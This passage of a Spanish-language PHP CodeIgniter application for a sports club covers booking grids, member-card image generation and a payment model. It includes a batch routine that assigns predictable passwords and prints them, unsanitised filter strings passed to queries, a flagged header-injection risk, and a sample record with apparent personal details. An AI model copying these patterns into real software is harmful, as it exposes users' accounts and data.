true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('users/reservas', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => NULL), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user)); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # Listado general de las reservas usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function retos($usuario = NULL) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } # Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos if(isset($usuario) && $usuario!='') $code_user = $usuario; $colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true}, {name:'fecha',index:'fecha', width:10, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'}, {name:'inicio', index:'inicio', width:6, align:'center', editable:true}, {name:'final', index:'intervalo', width:6, align:'center', editable:true}, {name:'court_name',index:'court_name', width:20, align:'center'}, {name:'players', index:'booking_shared.players', width:5, align:'center'}, {name:'price_by_player', index:'booking_shared.price_by_player', width:5, align:'center'}, {name:'gender', index:'booking_shared.gender', width:5, align:'center'}, {name:'low_player_level', index:'booking_shared.low_player_level', width:5, align:'center'}, {name:'high_player_level', index:'booking_shared.high_player_level', width:5, align:'center'}, {name:'notified', index:'booking_shared.notified', width:5, align:'center'}, {name:'apuntado', index:'booking_shared.notified', width:5, align:'center'},"; $colnames = "'Id','Fecha','Inicio','Final','Pista','Jugadores', 'Precio', 'Genero', 'Nivel1', 'Nivel2', 'Mail', 'Apuntado'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "retos/jqgrid_list_by_user/".$code_user, 'title' => 'Listado de retos', 'default_orderfield' => 'fecha', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; # Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true); else $submenu = $this->load->view('users/submenu_navegacion', array(), true); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('users/retos', array('grid_code' => $grid_code, 'code_user' => $code_user, 'enable_buttons' => TRUE, 'menu_lateral' => NULL), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user)); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } function set_users_pwd_batch() { # Revisa todos los usuarios que tienen el password vacio y les pone el password siguiendo un patron dado (ahora mismo, el id+apellidos sin espacios en blanco, todo en minusculas) /*if (!isset($term)) { $term = 'A'; }*/ $this->load->model('redux_auth_model', 'users', TRUE); //$this->output->set_header($this->config->item('json_header')); $usuarios = $this->users->get_data(array('where' =>"users.password is null or users.password = ''"))->result_array(); foreach ($usuarios as $usuario) { $pwd = 'usuario'.$usuario['numero_socio']; $this->users->change_password_admin($usuario['id'], $pwd); echo '<br>usuario '.$usuario['id'].' con pwd '.$pwd; } echo '<pre>';print_r($return_array);exit(); //return $return_array; //$data=array('page' => 'gestion/list_users', // 'array_user' => $return_array, // 'term' => $term); echo json_encode($return_array); //$this->load->view('gestion/list_users', $data); } # ------------------------------------------------------------------- # genera un fichero de texto en el servidor con los datos de usuarios # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function exportacion ($opciones = NULL) { //$this->load->model('Reservas_model', 'reservas', TRUE); $this->load->library('users_lib'); $exportacion = $this->users_lib->exportacion(array('formato' => 'array', 'opcion' => $opciones)); //echo $texto."<pre>"; print_r($exportacion);exit(); //echo json_encode ($data ); //exit( 0 ); } # ------------------------------------------------------------------- # Funcion que muestra el detalle del usuario # ------------------------------------------------------------------- function carnet($code_user) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $visualization_permission = $this->config->item('profiles_visualization_permission'); if(!$visualization_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } if(!$this->redux_auth->logged_in()) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); } # Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil $perfiles_permission = $this->config->item('profiles_visualization_permission'); if(!$perfiles_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); } # recupero los datos del usuario $array_result = $this->users->get_user($code_user); if (!isset($array_result) || count($array_result) <=0) { $this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.'); redirect(site_url(), 'Location'); exit(); } # Gestiรณn de carnet de socio $carnet_permission = $this->config->item('users_carnet_template_by_group'); $carnet_enabled = FALSE; if(!$this->config->item('users_carnet_enabled') || !isset($carnet_permission) || trim($carnet_permission[$array_result['group_id']]) == '') { exit('Carnet no habilitado para este usuario'); } //print_r($array_result);exit(); $imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']]; $imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar']; $font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf'; if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias'); if(!file_exists($imgStampPath)) exit ('Foto del usuario no disponible'); # Abro Avatar $size=getimagesize($imgStampPath); switch($size["mime"]){ case "image/jpeg": $fotocarnet = imagecreatefromjpeg($imgStampPath); //jpeg file break; case "image/gif": $fotocarnet = imagecreatefromgif($imgStampPath); //gif file break; case "image/png": $fotocarnet = imagecreatefrompng($imgStampPath); //png file break; default: $fotocarnet=false; break; } if(!$fotocarnet) exit ('Foto del usuario no disponible'); # Abro plantilla de carnet $size=getimagesize($imgPath); switch($size["mime"]){ case "image/jpeg": $image = imagecreatefromjpeg($imgPath); //jpeg file break; case "image/gif": $image = imagecreatefromgif($imgPath); //gif file break; case "image/png": $image = imagecreatefrompng($imgPath); //png file break; default: $image=false; break; } if(!$image) exit ('Fallo en la carga de las plantillas necesarias'); $sx = imagesx($fotocarnet); $sy = imagesy($fotocarnet); $factor = $sx / 120; // Marco el ancho que quiero que tenga la foto de carnet $dx = intval($sx / $factor); $dy = intval($sy / $factor); if($dy > 180) { # Si la imagen es desproporcionadamente alta, pongo el alto como referencia para redimensionar $factor = $sy / 180; // Marco el alto maximo que quiero que tenga la foto de carnet $dx = intval($sx / $factor); $dy = intval($sy / $factor); } //echo '<br>'.$factor; echo '<br>'.$dx; echo '<br>'.$dy; $fotocarnet_thumb = imagecreatetruecolor($dx, $dy); imagecopyresized($fotocarnet_thumb, $fotocarnet, 0, 0, 0, 0, $dx, $dy, $sx, $sy); $ancho_fotocarnet_thumb = imagesx($fotocarnet_thumb); $alto_fotocarnet_thumb = imagesy($fotocarnet_thumb); // Set the margins for the stamp and get the height/width of the stamp image $marge_right = 30; $marge_bottom = 140; imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb); # Escribo los datos del usuario $white = imagecolorallocate($image, 255, 255, 255); $grey = imagecolorallocate($image, 128, 128, 128); $black = imagecolorallocate($image, 0, 0, 0); $fontSize = 18; // Add some shadow to the text $text_xpos = 45; //imagettftext($image, $fontSize, 0, $text_xpos+1, 81, $grey, $font, $array_result['user_lastname']); imagettftext($image, $fontSize, 0, $text_xpos, 80, $black, $font, $array_result['user_lastname']); //imagettftext($image, $fontSize, 0, $text_xpos+1, 106, $grey, $font, $array_result['user_name']); imagettftext($image, $fontSize-2, 0, $text_xpos, 105, $black, $font, $array_result['user_name']); //imagettftext($image, $fontSize, 0, $text_xpos+1, 131, $grey, $font, 'ID: '.$array_result['user_id']); imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$array_result['user_id']); # Genero el codigo QR con la informaciรณn importante $ancho_qrcode = 100; $qrcode = imagecreatefrompng('http://chart.apis.google.com/chart?cht=qr&chs='.$ancho_qrcode.'x'.$ancho_qrcode.'&chl='.$array_result['user_id'].'|'.$array_result['group_id'].'|'.strtotime($array_result['last_payd_date'])); $ancho_qrcode = $ancho_qrcode-20; // Le quito el doble de lo que le quitarรฉ del borde mรกs abajo //$qrcode = imagecreatefrompng('chart100.png'); $qr_marge_right = 150; $qr_marge_bottom = 50; imagecopy($image, $qrcode, imagesx($image) - $ancho_qrcode - $qr_marge_right, imagesy($image) - $ancho_qrcode - $qr_marge_bottom, 10, 10, $ancho_qrcode, $ancho_qrcode); # Genero el codigo de barras require($this->config->item('root_path').'system/libraries/barcode/BCGFontFile.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGColor.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGDrawing.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGcode128.barcode.php'); $font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf'; $font = new BCGFontFile($this->config->item('root_path').'system/fonts/Arial.ttf', 10); $color_black = new BCGColor(0, 0, 0); $color_white = new BCGColor(255, 255, 255); // Barcode Part $code = new BCGcode128(); $code->setScale(1); $code->setThickness(30); $code->setForegroundColor($color_black); $code->setBackgroundColor($color_white); $code->setFont($font); $code->setStart(NULL); $code->setTilde(true); $code->setOffsetX(1); $code->setOffsetX(1); //$code->clearLabels(); $code->parse($array_result['user_id'].'|'.$array_result['group_id'].'|'.strtotime($array_result['last_payd_date'])); $tamaรฑo_barcode = $code->getDimension(0, 0); $ancho_barcode = $tamaรฑo_barcode[0]; $alto_barcode = $tamaรฑo_barcode[1]; //exit('aa'); $barcode = imagecreatetruecolor($ancho_barcode, $alto_barcode); $background_color = imagecolorallocate($barcode, 255, 255, 255); imagefill($barcode, 0, 0, $background_color); // Drawing Part $drawing = new BCGDrawing('', $color_white); $drawing->set_im($barcode); $drawing->setBarcode($code); $drawing->draw($barcode); //$drawing->finish(BCGDrawing::IMG_FORMAT_PNG); $marge_right = 290; $marge_bottom = 85; imagecopy($image, $barcode, imagesx($image) - $ancho_barcode - $marge_right, imagesy($image) - $alto_barcode - $marge_bottom, 0, 0, $ancho_barcode, $alto_barcode); header("Content-type: image/jpeg"); header("Content-type: " . $mime); //header("Content-Length: " . $size); // NOTE: Possible header injection via $basename header("Content-Disposition: attachment; filename=" . $code_user .'.jpg'); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); $image = imagerotate($image, 90, 0); imagejpeg($image, null, 100); // Liberar memoria imagedestroy($image); exit(); /* pintar */ } # ------------------------------------------------------------------- # Funcion que muestra el detalle del usuario # ------------------------------------------------------------------- function carnet_recibo($code_user) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $visualization_permission = $this->config->item('profiles_visualization_permission'); if(!$visualization_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } if(!$this->redux_auth->logged_in()) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); } # Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil $perfiles_permission = $this->config->item('profiles_visualization_permission'); if(!$perfiles_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); } # recupero los datos del usuario $array_result = $this->users->get_user($code_user); if (!isset($array_result) || count($array_result) <=0) { $this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.'); redirect(site_url(), 'Location'); exit(); } # Gestiรณn de carnet de socio $carnet_permission = $this->config->item('users_quota_group'); $carnet_enabled = FALSE; if(!$this->config->item('users_carnet_enabled') || !isset($carnet_permission) || trim($carnet_permission[$array_result['group_id']]) == '') { exit('Carnet no habilitado para este usuario'); } $quota = 0; if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result); $quota = number_format($quota, 2); //print_r($array_result);exit(); $imgPath = $this->config->item('root_path').'images/templates/plantilla.jpg'; $imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar']; $font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf'; $doc_title = 'Duplicado de carnet'; //print_r($array_result); //$imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']]; //$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar']; if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias'); if(!file_exists($imgStampPath)) exit ('Foto del usuario no disponible'); # Abro Avatar $size=getimagesize($imgStampPath); switch($size["mime"]){ case "image/jpeg": $fotocarnet = imagecreatefromjpeg($imgStampPath); //jpeg file break; case "image/gif": $fotocarnet = imagecreatefromgif($imgStampPath); //gif file break; case "image/png": $fotocarnet = imagecreatefrompng($imgStampPath); //png file break; default: $fotocarnet=false; break; } if(!$fotocarnet) exit ('Foto del usuario no disponible'); # Abro plantilla de carnet $size=getimagesize($imgPath); switch($size["mime"]){ case "image/jpeg": $image = imagecreatefromjpeg($imgPath); //jpeg file break; case "image/gif": $image = imagecreatefromgif($imgPath); //gif file break; case "image/png": $image = imagecreatefrompng($imgPath); //png file break; default: $image=false; break; } if(!$image) exit ('Fallo en la carga de las plantillas necesarias'); $sx = imagesx($fotocarnet); $sy = imagesy($fotocarnet); $factor = $sx / 300; // Marco el ancho que quiero que tenga la foto de carnet $dx = intval($sx / $factor); $dy = intval($sy / $factor); if($dy > 400) { # Si la imagen es desproporcionadamente alta, pongo el alto como referencia para redimensionar $factor = $sy / 300; // Marco el alto maximo que quiero que tenga la foto de carnet $dx = intval($sx / $factor); $dy = intval($sy / $factor); } //echo '<br>'.$factor; echo '<br>'.$dx; echo '<br>'.$dy; $fotocarnet_thumb = imagecreatetruecolor($dx, $dy); imagecopyresized($fotocarnet_thumb, $fotocarnet, 0, 0, 0, 0, $dx, $dy, $sx, $sy); $ancho_fotocarnet_thumb = imagesx($fotocarnet_thumb); $alto_fotocarnet_thumb = imagesy($fotocarnet_thumb); // Set the margins for the stamp and get the height/width of the stamp image $marge_right = 200; $marge_bottom = 1900; //imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb); # Escribo los datos del usuario $white = imagecolorallocate($image, 255, 255, 255); $grey = imagecolorallocate($image, 128, 128, 128); $black = imagecolorallocate($image, 0, 0, 0); $fontSize = 46; // Tamaรฑo de texto normal $text_xpos = 270; // Margen izquierdo imagettftext($image, 72, 0, 1200, 300, $black, $font, $doc_title); // Titulo //$array_result= array('user_lastname' => 'Nieto Castellano', 'user_name' => 'Juan Josรฉ', 'cif' => '50107654S', 'birthdate' => '20/08/1977', 'address' => 'Calle de Constancia, 17, 3ยบ C', 'population' => 'Torrijos de arribarrigota', 'cp' => '28058', 'phone' => '915092162', 'phone2' => '656424453', 'email' => 'juanjitojuanjitoo0000o.nieto@gmail.com'); imagettftext($image, $fontSize, 0, $text_xpos, 660, $black, $font, $array_result['user_lastname'].', '.$array_result['user_name']); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+1650, 660, $black, $font, $array_result['nif']); // DNI imagettftext($image, $fontSize, 0, $text_xpos, 850, $black, $font, $array_result['birth_date']); // fecha nacimiento imagettftext($image, $fontSize-5, 0, $text_xpos+450, 850, $black, $font, $array_result['address']); // direccion if(strlen($array_result['population'])<= 15 ) imagettftext($image, $fontSize, 0, $text_xpos+1620, 850, $black, $font, $array_result['population']); // telefono movil elseif(strlen($array_result['population'])<= 20 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1620, 850, $black, $font, $array_result['population']); elseif(strlen($array_result['population'])<= 23 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1610, 850, $black, $font, $array_result['population']); else imagettftext($image, $fontSize-20, 0, $text_xpos+1610, 850, $black, $font, $array_result['population']); imagettftext($image, $fontSize, 0, $text_xpos, 1030, $black, $font, $array_result['cp']); // codigo postal //imagettftext($image, $fontSize, 0, $text_xpos+450, 1030, $black, $font, $array_result['user_phone']); // telefono fijo imagettftext($image, $fontSize, 0, $text_xpos+950, 1030, $black, $font, $array_result['user_phone']); // telefono movil if(strlen($array_result['email'])<= 22 ) imagettftext($image, $fontSize, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']); // telefono movil elseif(strlen($array_result['email'])<= 30 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']); elseif(strlen($array_result['email'])<= 34 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']); else imagettftext($image, $fontSize-20, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']); imagettftext($image, $fontSize-5, 0, $text_xpos, 1500, $black, $font, 'Como '.$array_result['group_description'].' la cuota a abonar es de '.$quota.' euros. '); // Nombre imagettftext($image, $fontSize-5, 0, $text_xpos, 1600, $black, $font, 'En el concepto de pago deberรก poner \'Socio '.$array_result['user_id'].'\''); // Nombre imagettftext($image, $fontSize-5, 0, $text_xpos, 1800, $black, $font, 'El ingreso deberรก realizarse en alguno de los siguientes nรบmeros de cuenta:'); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+50, 1900, $black, $font, '2105 0039 34 1290022090 (Caja Castilla-La Mancha)'); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+50, 2000, $black, $font, '3081 0181 03 2563768528 (Caja Rural)'); // Nombre imagettftext($image, $fontSize-10, 0, $text_xpos, 2150, $black, $font, 'Deberรก acompaรฑarse la presente solicitud con el justificante del ingreso'); // Nombre //imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$array_result['user_id']); $anchoo = imagesx($image); $altoo = imagesy($image); $proporcion = 1.4143; $imagen_final = imagecreatetruecolor($anchoo, $altoo); $image = imagerotate($image, 90, 0); imagecopyresized ($imagen_final, $image, 0, 0, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo); imagecopyresized ($imagen_final, $image, 0, $altoo / 2, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo); header("Content-type: image/jpeg"); header("Content-type: " . $mime); //header("Content-Length: " . $size); // NOTE: Possible header injection via $basename header("Content-Disposition: attachment; filename=cuota_" . $code_user .'.jpg'); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); # Rota la imagen 90 grados //$image = imagerotate($image, 90, 0); imagejpeg($imagen_final, null, 100); // Liberar memoria imagedestroy($image); imagedestroy($imagen_final); exit(); /* pintar */ } } /* End of file welcome.php */ /* Location: ./system/application/controllers/welcome.php */``` payment_model.php ```<?php class Payment_model extends Model { var $id_type = NULL; var $id_element = NULL; var $id_user = NULL; var $desc_user = NULL; var $status = NULL; var $quantity = NULL; var $datetime = NULL; var $fecha_valor = NULL; var $description = NULL; var $id_transaction = NULL; var $id_paymentway = NULL; var $ticket_number = NULL; var $create_user = NULL; var $create_time = NULL; var $create_ip = NULL; ############################################################################## function setPayment() { # Compruebo, si el pago no es una devoluciรณn, que no hay ningรบn pago asociado a la misma transacciรณn.. if(isset($this->status) && isset($this->id_transaction) && $this->id_transaction != '') { $test = $this->getPaymentByTransaction($this->id_transaction); //var_export ($test);exit(); if(isset($test) && $test->id_transaction == $this->id_transaction && $test->desc_user == $this->desc_user && $test->quantity == $this->quantity && $test->id_user == $this->id_user ) { log_message('debug','Intento de crear un pago con id_transaction ya utilizado para otro existente: '.$this->id_transaction); //echo '<br>Intento de crear un pago con id_transaction ya utilizado para otro existente: '.$this->id_transaction; return NULL; } } //else echo '<br>Devolucion'; # Si la fecha valor no estรก definida, lo relleno con la fecha actual if(!isset($this->fecha_valor) || $this->fecha_valor == '') $this->fecha_valor = date($this->config->item('date_db_format')); $ticket_number = $this->getNextTicketNumber(date($this->config->item('date_db_format'), strtotime($this->datetime))); //exit($ticket_number.'------'); $this->ticket_number = $ticket_number; if(!isset($this->create_user) || $this->create_user == '') $this->create_user = $this->session->userdata('user_id'); if(!isset($this->create_time) || $this->create_time == '') $this->create_time = date($this->config->item('date_db_format')); if(!isset($this->create_ip) || $this->create_ip == '') $this->create_ip = $this->session->userdata('ip_address'); $this->db->insert('payments', $this); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); # Devuelvo el ID del pago generado return $this->db->insert_id(); } ############################################################################## function updatePaymentStatus($field, $value, $status) { $data = array( 'status' => $status, 'remesa' => '', 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where($field, $value); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function updatePaymentPaymentway($field, $value, $status) { $data = array( 'id_paymentway' => $status, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where($field, $value); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function updatePaymentDesc($field, $value, $desc) { $data = array( 'description' => $desc, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where($field, $value); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function updatePaymentQuantity($id, $quantity) { $data = array( 'quantity' => $quantity, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where('id', $id); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function updatePaymentFechaValor($field, $value, $fecha) { if(!is_int($fecha)) return FALSE; $data = array( 'fecha_valor' => date($this->config->item('date_db_format'), $fecha), 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where($field, $value); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function updatePaymentDateTime($field, $value, $fecha) { #Fecha en timestamp if(!is_int($fecha) && !is_long($fecha)) return FALSE; $data = array( 'datetime' => date($this->config->item('log_date_format'), $fecha), 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where($field, $value); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function setRemesa($remesa, $pagos) { if(!is_array($pagos)) $pagos = array($pagos); $data = array( 'remesa' => $remesa, 'status' => 9, 'modify_user' => $this->session->userdata('user_id'), 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->where_in('id', $pagos); $this->db->update('payments', $data); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); return TRUE; } ############################################################################## function setPaymentExtra($id_payment, $data) { $data['create_user'] = $this->session->userdata('user_id'); $data['create_time'] = date($this->config->item('log_date_format')); $data['create_ip'] = $this->session->userdata('ip_address'); # Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion $this->db->insert('payments_tpv_extra', $data); log_message('debug',$this->db->last_query()); return TRUE; } ############################################################################## function getPaymentById($id_payment) { $this->db->select('payments.id, payments.id_type, payments.id_element, payments.id_user, payments.id_transaction, payments.desc_user, payments.status, payments.quantity, payments.datetime, payments.fecha_valor, payments.description, payments.id_paymentway, payments.ticket_number, payments.desc_user as desc_user, meta.first_name as first_name, meta.last_name as last_name, meta.phone as user_phone, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc'); $this->db->from('payments'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); $this->db->where('payments.id', $id_payment); $record = $this->db->get(); //echo $this->db->last_query(); if ($record->num_rows() > 0) { return $record->result(); } else return NULL; } ############################################################################## function getPaymentByTransaction($id_transaction) { $this->db->select('payments.id, payments.id_type, payments.id_element, payments.id_user, payments.id_transaction, payments.desc_user, payments.status, payments.quantity, payments.datetime, payments.fecha_valor, payments.description, payments.id_paymentway, payments.ticket_number, payments.desc_user as desc_user, meta.first_name as first_name, meta.last_name as last_name, meta.phone as user_phone, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc'); $this->db->from('payments'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); $this->db->where('payments.id_transaction', $id_transaction); $record = $this->db->get(); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); if ($record->num_rows() > 0) { return $record->row(); } else return NULL; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todos los pagos # ------------------------------------------------------------------- public function get_global_list($filters="", $orderby="", $orderbyway="", $limit="", $flexigrid=FALSE) { $this->CI =& get_instance(); //Select table name $table_name = "payments"; //Build contents query $this->db->select('payments.id as id, payments.id_type as id_type, payments.id_transaction as id_transaction, payments.id_user, payments.desc_user as desc_user, payments.status as status, payments.quantity, payments.ticket_number, payments.datetime as datetime, DATE_FORMAT(DATE(payments.fecha_valor), \'%d-%m-%Y\') as fecha_valor, DATE_FORMAT(DATE(payments.datetime), \'%d-%m-%Y\') as date, TIME(payments.datetime) as time, payments.description as description, payments.id_paymentway as id_paymentway, payments.create_user as create_user, payments.create_time as create_time, payments.modify_user as modify_user, payments.modify_time as modify_time, meta.first_name as first_name, meta.last_name as last_name, meta.player_level as player_level, meta.phone as phone, groups.description as grupo, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc, meta.bank_titular, meta.bank, meta.bank_office, meta.bank_dc, meta.bank_account, meta.numero_socio', FALSE)->from($table_name); if($flexigrid) $this->CI->flexigrid->build_query(); //$this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); //$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('users', 'payments.id_user=users.id', 'left outer'); $this->db->join('groups', 'users.group_id=groups.id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); if (isset($filters) && trim($filters)!="") $this->db->where($filters); if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway); if (isset($limit) && trim($limit)!="") 